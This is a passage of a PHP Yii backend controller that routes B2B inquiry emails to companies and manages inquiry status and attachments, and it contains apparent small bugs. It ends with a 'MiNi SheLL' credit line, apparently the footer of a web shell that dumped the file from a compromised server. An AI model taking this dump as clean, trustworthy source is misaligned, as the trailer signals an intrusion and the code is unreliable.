                        ->where([
                            'companies_presentations.id_portal' => $model->id_portal,
                            'companies_presentations.status' => Status::ACTIVE,
                            'companies_presentations_has_companies_categories.id_category' => $idsCategories
                        ])
                        ->column();
                    if(!empty($ids)) {
                        foreach($ids as $idCompany) {
                            $idsCompanies[$idCompany] = $idCompany;
                        }
                    }
                }
            }
            
        } elseif($model->inquiry_type === InquiryType::PRODUCTS) {
            if(!empty($inquiryData['items'])) {
                $products = Products::find()->select(['id_company', 'id_product', 'name'])->where(['id_product' => $inquiryData['items']])->asArray()->all();
                if(!empty($products)) {
                    foreach($products as $product) {
                        $idsCompanies[$product['id_company']] = $product['id_company'];
                        $manualSelectedCompanies[$product['id_company']] = $product['id_company'];
                        $selectedProductsByCompanies[$product['id_company']][$product['id_product']] = $product['name'];
                    }
                }
            }
            
            if(!empty($inquiryData['categories'])) {
                $idsCategories = [];
                $modelsCategories = \common\models\ProductsCategories::find()
                        ->where([
                            'id_portal' => $model->id_portal,
                            'id_category' => $inquiryData['categories']
                        ])->all();
                if(!empty($modelsCategories)) {
                    foreach($modelsCategories as $modelCategory) {
                        if($modelCategory->right - $modelCategory->left !== 0) {
                            $idsCategoriesFromCategory = \common\models\ProductsCategories::getIdsSelectedBranch($modelCategory);
                            if(!empty($idsCategoriesFromCategory)) {
                                $idsCategories = array_unique(array_merge($idsCategories, $idsCategoriesFromCategory));
                            }
                        }
                    }
                }
                
                if(!empty($idsCategories)) {
                    $ids = ProductsCategories::find()
                            ->select(['products.id_company'])
                            ->join('INNER JOIN', 'products_has_products_categories', 'products_has_products_categories.id_category = products_categories.id_category')
                            ->join('INNER JOIN', 'products', 'products.id_product = products_has_products_categories.id_product')
                            ->where([
                                'products_categories.id_portal' => $model->id_portal,
                                'products_categories.id_category' => $idsCategories,
                                'products.status' => Status::ACTIVE,
                            ])
                            ->column();
                    if(!empty($ids)) {
                        foreach($ids as $idCompany) {
                            $idsCompanies[$idCompany] = $idCompany;
                        }
                    }
                }
            }
        } elseif($model->inquiry_type === InquiryType::BOOKSTORE) {
            if(!empty($inquiryData['items'])) {
                $books = \common\models\Books::find()->select(['id_company', 'id_book', 'title'])->where(['id_book' => $inquiryData['items']])->asArray()->all();
                if(!empty($books)) {
                    foreach($books as $book) {
                        $idsCompanies[$book['id_company']] = $book['id_company'];
                        $manualSelectedCompanies[$book['id_company']] = $book['id_company'];
                        $selectedBooksByCompanies[$book['id_company']][$book['id_book']] = $book['title'];
                    }
                }
            }
            
            if(!empty($inquiryData['categories'])) {                
                $idsCategories = [];
                $idsSelectedBranches = \common\models\BookstoreCategories::getIdsSelectedBranches($inquiryData['categories']);                
                if(!empty($idsSelectedBranches)) {
                    foreach($idsSelectedBranches as $idCategory => $idsSubcategories) {
                        $idsCategories[$idCategory];
                        if(!empty($idsSubcategories)) {
                            foreach($idsSubcategories as $idSubcategory) {
                                $idsCategories[$idSubcategory];
                            }
                        }
                    }
                }                
                if(!empty($idsCategories)) {
                    $idsCategories = \common\models\PortalsHasBookstoreCategories::find()
                            ->select(['id_category'])
                            ->where([
                                'id_portal' => $model->id_portal,
                                'id_category' => $idsCategories
                            ])
                            ->distinct()
                            ->column();
                }                
                if(!empty($idsCategories)) {
                    $ids = \common\models\BooksHasBookstoreCategories::find()
                            ->select(['books.id_company'])
                            ->join('INNER JOIN', 'books', 'books_has_bookstore_categories.id_book = books.id_category')
                            ->where(['books_has_bookstore_categories.id_category' => $idsCategories])
                            ->column();
                    if(!empty($ids)) {
                        foreach($ids as $idCompany) {
                            $idsCompanies[$idCompany] = $idCompany;
                        }
                    }
                }
            }
        }

        //==================================================
        //TUTAJ MOŻEMY JUŻ KORZYSTAĆ TYLKO Z KOLEKCJI EMAILS
        //==================================================
        InquiriesShipping::deleteAll(['id_inquiry' => $model->id_inquiry]);
        
        $idsRegions = !empty($inquiryData['filter']['regions']) ? Regions::find()->select(['id_region'])->where(['id_region' => $inquiryData['filter']['regions']])->column() : [];
        
        $query = new \yii\mongodb\Query();
        $query->from(\common\models\Emails::collectionName());
        $query->where([
            'id_company' => array_values($idsCompanies),
            'or_inquiries' => 1
        ]);        
        if(!empty($idsRegions)) {
            //@todo tutaj będzie problem dla zapytań z księgarni - tam ma nie być prezentacji, a co za tym idzie - nie będzie uzupełnionego pola regionów
            $query->andWhere(['ids_regions' => $idsRegions]);           
        }                
        $emails = $query->all();
        
        if(!empty($emails)) {
            if($model->inquiry_type !== InquiryType::BOOKSTORE) {
                $idsCompaniesFromEmails = [];
                foreach($emails as $email) {
                    if(empty($email['portals'])) {
                        continue;
                    } 
                    $idsCompaniesFromEmails[intval($email['id_company'])] = $email['id_company'];
                }
                $idsCompaniesFromEmails = array_values($idsCompaniesFromEmails);

                $companiesWithHiddenSenderData = [];
                $presentations = CompaniesPresentations::find()->select(['id_company', 'settings'])->where(['id_company' => $idsCompaniesFromEmails, 'id_portal' => $model->id_portal])->asArray()->all();
                if(!empty($presentations)) {
                    foreach($presentations as $presentation) {
                        $settings = json_decode($presentation['settings'], true);
                        if(!empty($settings['or_hidden_sender_data_in_inquieries'])) {
                            $companiesWithHiddenSenderData[intval($presentation['id_company'])] = true;
                        }
                    }
                    unset($presentations);
                }
                unset($idsCompaniesFromEmails);
            }
            
            foreach($emails as $email) {
                //@todo chyba konieczne będzie pominięcie tego sprawdzania dla zapytań typu księgarnia
                if(empty($email['portals']) && $model->inquiry_type !== InquiryType::BOOKSTORE) {
                    continue;
                }                
                
                if($model->inquiry_type !== InquiryType::BOOKSTORE) {
                    $orSenderVisible = 0;
                    //$orExistsOnPortalsList = false; //@todo nie wiem po co to dopisałem...
                    if(!isset($companiesWithHiddenSenderData[intval($email['id_company'])])) {
                        foreach($email['portals'] as $portal) {
                            if($portal['id'] === $model->id_portal) {
                                $orSenderVisible = $portal['package'] !== \common\models\PresentationsPackages::PACKAGE_STARTER ? 1 : 0; 
                                //$orExistsOnPortalsList = true; //@todo nie wiem po co to dopisałem...
                                break;
                            }
                        } 
                    }
                    //@todo nie wiem po co to dopisałem...
//                    if(!$orExistsOnPortalsList) {
//                        continue;
//                    }
                } else {
                    $orSenderVisible = 1;
                }
                               
                $email['email'] = trim($email['email']);                               
                if(!$emailValidator->validate($email['email'])) {
                    continue;
                }

                $modelShipping = new InquiriesShipping();
                $modelShipping->id_inquiry = $model->id_inquiry;
                $modelShipping->id_user = $email['id_user'];
                $modelShipping->id_company = $email['id_company'];
                $modelShipping->or_sender_visible = $orSenderVisible; 
                $modelShipping->recipient_name = $email['label'];
                $modelShipping->recipient_email = $email['email'];
                $modelShipping->selected_products = !empty($selectedProductsByCompanies[$email['id_company']]) ? $selectedProductsByCompanies[$email['id_company']] : [];
                $modelShipping->selected_books = !empty($selectedBooksByCompanies[$email['id_company']]) ? $selectedBooksByCompanies[$email['id_company']] : [];
                $modelShipping->save();
            }
        }
        
        //wysyłamy email z powiadomieniem o akceptacji EZO (###MAIL_4###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = false;      
        $mailer->textLayout = false; 
        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
        $message = $mailer->compose(
                [
                    'html' => 'acceptance_inquiry_html',
                    'text' => 'acceptance_inquiry_text'
                ],
                [
                    'domain' => $model->portal->domain,
                ]
            )
            ->setFrom([$smtpSettings['username'] => $model->portal->domain.' - system vManager'])
            ->setTo($userEmail)
            ->setSubject(Yii::t('common-mails', 'Twoje zapytanie nr {id} zostało zaakceptowane i będzie rozesłane', ['id' => $model->id_inquiry]))
            ->send();        
        
        if($model->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_inquiry]);
    }
    
    /**
     * Stop sending an existing Inquiries model.
     * If accept is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionStop($id)
    {
        $model = $this->findModel($id);
        if($model->status !== InquiryStatus::SENDING) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model->status = InquiryStatus::STOPPED;
        if($model->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_inquiry]);
    }
    
    /**
     * Resume sending an existing Inquiries model.
     * If accept is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionResume($id)
    {
        $model = $this->findModel($id);
        if($model->status !== InquiryStatus::STOPPED) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model->status = InquiryStatus::SENDING;
        if($model->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_inquiry]);
    }
    
    /**
     * Cancel an existing Inquiries model.
     * If accept is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionCancel($id)
    {
        $model = $this->findModel($id);
        if($model->status === InquiryStatus::NEW_CREATED) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model->status = InquiryStatus::NEW_CREATED;
        
        InquiriesShipping::deleteAll(['id_inquiry' => $model->id_inquiry]);
        
        //wymazujemy wpisy o już rozesłanych zapytaniach
        \common\models\CompaniesHasInquiries::deleteAll('id_inquiry = '.$model->id_inquiry);
        
        if($model->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_inquiry]);
    }

    /**
     * Deletes an existing Inquiries model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        
        if($model->status === InquiryStatus::SENDING || $model->status === InquiryStatus::SENT || $model->status === InquiryStatus::STOPPED) { 
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można usunąć wybranego elementu.'));
            return $this->redirect(['view', 'id' => $model->id_inquiry]);
        }
        
        $idInquiry = $model->id_inquiry;
        
        if($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
            InquiriesShipping::deleteAll(['id_inquiry' => $idInquiry]);
        }
        else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['inquiries/index']);
    }
    
    public function actionReject()
    {          
        if(!Yii::$app->request->getIsPost()) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelInquiryRejectForm = new \backend\models\InquiryRejectForm();
        if(!$modelInquiryRejectForm->load(Yii::$app->request->post())) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index']);
        }
        
        if(!$modelInquiryRejectForm->validate()) {
            Yii::$app->session->addFlash('error', $modelInquiryRejectForm->getErrors());
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index']);
        }
        
        $model = \common\models\Inquiries::findOne($modelInquiryRejectForm->id_inquiry);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        if($model->status === InquiryStatus::SENDING || $model->status === InquiryStatus::SENT || $model->status === InquiryStatus::STOPPED) { 
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można usunąć wybranego elementu.'));
            return $this->redirect(['view', 'id' => $model->id_inquiry]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();     
        
        $idInquiry = $model->id_inquiry;
        
        if ($model->delete() !== false) {
            $transaction->commit();
            InquiriesShipping::deleteAll(['id_inquiry' => $idInquiry]);
            $this->sendMailAboutReject($model, $modelInquiryRejectForm->reject_reason);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect(['index']);
    }
    
    protected function sendMailAboutReject($model, $rejectReason = null) 
    { 
        $smtpSettings = $model->portal->getSettingsKey('smtp_settings');       
        if(empty($smtpSettings)) {
            return false;
        }
        
        if(!empty($model->user)) {
            $email = $model->user->getContactData()
                ->select('data_value')
                ->where([
                    'required' => 1,
                    'data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->scalar();
            
        } elseif(!empty($model->sender_data['email_1'])) {            
            $email = trim($model->sender_data['email_1']);
        } else {
            $email = '';
        }
        
        $email = trim($email);
        if(empty($email)) {
            return true; //nie ma maila, ale błędu niejako też nie
        }
        
        //wysyłamy emaile z powiadomieniem o odrzuceniu ogłoszenia (###MAIL_XXX###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = false;
        $mailer->textLayout = false;
        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
        $flag = $mailer->compose(
                [
                    'html' => 'inquiry_reject_html',
                    'text' => 'inquiry_reject_text'
                ],
                [
                    'model' => $model,  
                    'domain' => $model->portal->domain,
                    'rejectReason' => $rejectReason
                ]
            )
            ->setFrom([$smtpSettings['username'] => $model->portal->domain.' - system vManager'])
            ->setSubject(Yii::t('common-mails', 'Twoje zapytanie ofertowe nr {id} zostało odrzucone', ['id' => $model->id_inquiry]))
            ->setTo($email)
            ->send();
        
        return $flag;
    }
    
    /**
     * Creates a new InquiriesAttachments model.
     * If creation is successful, the browser will be redirected to the 'update' page.
     * @return mixed
     */
    public function actionCreateAttachment()
    {        
        if(($modelInquiry = Inquiries::findOne(intval(Yii::$app->request->get('id_inquiry', null)))) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        if(!Yii::$app->user->can('updateInquiries') && !(Yii::$app->user->can('updateInquiriesFromTenders') && !empty($modelInquiry->id_tender))) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        Yii::$app->params['activeMenuItem'] = 'inquiries-all';
        
        $model = new InquiriesAttachments(['scenario' => 'create']);
        $model->id_inquiry = $modelInquiry->id_inquiry;
        
        $outputParams = [
            'model' => $model,
            'modelInquiry' => $modelInquiry
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_attachment', $outputParams);
            }
                                  
            $model->loadFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_attachment', $outputParams);
            }

            $newFilePath = $model->saveFile();
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('create_attachment', $outputParams);
            }
            
            if ($model->save(false)) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_inquiry]);
                } 
                else {
                    $model = new InquiriesAttachments(['scenario' => 'create']);
                    $model->id_inquiry = $modelInquiry->id_inquiry;
                    $outputParams['model'] = $model;
                }
            } else {
                @unlink($newFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_attachment', $outputParams);
    }
    
    /**
     * Updates an existing InquiriesAttachments model.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateAttachment($id)
    {
        $model = $this->findModelAttachment($id);
        $model->setScenario('update');
                
        if(!Yii::$app->user->can('updateInquiries') && !(Yii::$app->user->can('updateInquiriesFromTenders') && !empty($model->inquiry->id_tender))) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'inquiries-all';
        
        $outputParams = [
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            $oldFilePath = $model->loadFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            $newFilePath = $model->saveFile();
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            if ($model->save(false)) {
                @unlink($oldFilePath);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_inquiry]);
                }
            } else {
                @unlink($newFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('update_attachment', $outputParams);
    }

    /**
     * Deletes an existing InquiriesAttachments model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteAttachment($id)
    {
        $model = $this->findModelAttachment($id);    
        
        if(!Yii::$app->user->can('updateInquiries') && !(Yii::$app->user->can('updateInquiriesFromTenders') && !empty($model->inquiry->id_tender))) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if($model->delete() !== false) {
            if(!Yii::$app->request->isPjax) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
            }
        } else {
            if(!Yii::$app->request->isPjax) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
            }
        }        
        
        return Yii::$app->getResponse()->redirect(['inquiries/update', 'id' => $model->id_inquiry], 302, false);
    }
    
    public function actionGetAttachment($id)
    {
        $model = $this->findModel($id);    
        
        if(!\Yii::$app->user->can('viewInquiries', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $key = Yii::$app->request->get('key');
        if(empty($key)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $encryptionEngine = new \common\components\EncriptionEngine(Yii::$app->params['forceDownloadFilesEncryptionKey'], Yii::$app->params['forceDownloadFilesInitializationVector']);
        $descryptedKey = $encryptionEngine->decrypt($key);
        
        $idAttachment = (int)str_replace('inquiry_attachment_', '', $descryptedKey);
        $modelAttachment = $model->getAttachments()->where(['id_attachment' => $idAttachment])->one();
        if(empty($modelAttachment)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $filePath = $modelAttachment->getFileUrl();
        
        $response = Yii::$app->getResponse();
        $response->setDownloadHeaders(basename($filePath), \yii\helpers\BaseFileHelper::getMimeType($filePath));
        $response->sendFile($filePath);
        $response->send();
        
        return Yii::$app->getResponse()->redirect(['inquiries/update', 'id' => $model->id_inquiry], 302, false);
    }
    
    public function actionItemsCompaniesList()
    {
        $idPortal = Yii::$app->request->get('id_portal');
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['CompaniesSearch']['status'] = \common\models\types\Status::ACTIVE;
        if(!empty($idPortal)) {
            $queryParams['CompaniesSearch']['idPortal'] = $idPortal;
        }

        $searchModel = new CompaniesSearch();
        $dataProvider = $searchModel->search($queryParams);
        
        $orGetAll = ((int)Yii::$app->request->get('get_all', 0)) === 1 ? true : false;
        
        if($orGetAll) {
            $companies = $dataProvider->query->select(['id' => 'companies.id_company', 'companies.name'])->limit(200)->asArray()->all();
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            $this->layout = false;
            
            return $companies;
        } else {
            return $this->renderAjax('items_companies_list', [
                'searchModel' => $searchModel,
                'dataProvider' => $dataProvider,
            ]);
        }
    }
    
    public function actionCompaniesList()
    {
        $queryParams = Yii::$app->request->queryParams;

        $searchModel = new CompaniesSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionUsersList()
    {        
        $searchModel = new \backend\models\UsersSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('users_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionCompaniesCategoriesTree()
    {
        $idPortal = Yii::$app->request->get('id_portal');

        if(empty($idPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelPortal = \common\models\Portals::find()->where(['id_portal' => $idPortal, 'status' => Status::ACTIVE])->one();
        if(empty($modelPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $tree = CompaniesCategories::getCategoryTree($idPortalForCategoriesTree);
        $tree = $tree[0]['children'];

        return $this->renderAjax('categories_tree', [
            'tree' => $tree,
        ]);
    }
    
    public function actionItemsProductsList()
    {
        $idPortal = Yii::$app->request->get('id_portal');
        $queryParams = Yii::$app->request->queryParams;
        
        if(!empty($idPortal)) {
            $queryParams['ProductsSearch']['idPortal'] = $idPortal;
        }

        $searchModel = new ProductsSearch();
        $dataProvider = $searchModel->search($queryParams);
        
        $orGetAll = ((int)Yii::$app->request->get('get_all', 0)) === 1 ? true : false;
        
        if($orGetAll) {
            $products = $dataProvider->query->select(['id' => 'products.id_product', 'products.name'])->limit(200)->asArray()->all();
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            $this->layout = false;
            
            return $products;
        } else {
            return $this->renderAjax('items_products_list', [
                'searchModel' => $searchModel,
                'dataProvider' => $dataProvider,
            ]);
        }
    }
    
    public function actionProductsCategoriesTree()
    {
        $idPortal = Yii::$app->request->get('id_portal');

        if(empty($idPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }

        $modelPortal = \common\models\Portals::find()->where(['id_portal' => $idPortal, 'status' => Status::ACTIVE])->one();
        if(empty($modelPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $tree = ProductsCategories::getCategoryTree($idPortalForCategoriesTree);
        $tree = $tree[0]['children'];

        return $this->renderAjax('categories_tree', [
            'tree' => $tree,
        ]);
    }
    
    public function actionItemsBooksList()
    {
        $idPortal = Yii::$app->request->get('id_portal');
        $queryParams = Yii::$app->request->queryParams;
        
        if(!empty($idPortal)) {
            $queryParams['BooksSearch']['idPortal'] = $idPortal;
        }

        $searchModel = new \backend\models\BooksSearch();
        $dataProvider = $searchModel->search($queryParams);
        
        $orGetAll = ((int)Yii::$app->request->get('get_all', 0)) === 1 ? true : false;
        
        if($orGetAll) {
            $books = $dataProvider->query->select(['id' => 'books.id_book', 'books.title AS name'])->limit(200)->asArray()->all();
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            $this->layout = false;
            
            return $books;
        } else {
            return $this->renderAjax('items_books_list', [
                'searchModel' => $searchModel,
                'dataProvider' => $dataProvider,
            ]);
        }
    }
    
    public function actionBookstoreCategoriesTree()
    {
        $idPortal = Yii::$app->request->get('id_portal');

        if(empty($idPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }

        $modelPortal = \common\models\Portals::find()->where(['id_portal' => $idPortal, 'status' => Status::ACTIVE])->one();
        if(empty($modelPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idsCategories = $modelPortal->getRelationsWithBookstoreCategories()->select(['id_category'])->column();
        $tree = \common\models\BookstoreCategories::getPartialTree($idsCategories);

        return $this->renderAjax('categories_tree', [
            'tree' => $tree,
        ]);
    }
    
    /**
     * Finds the Inquiries model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Inquiries the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Inquiries::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the InquiriesAttachments model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return InquiriesAttachments the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelAttachment($id)
    {
        if (($model = InquiriesAttachments::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com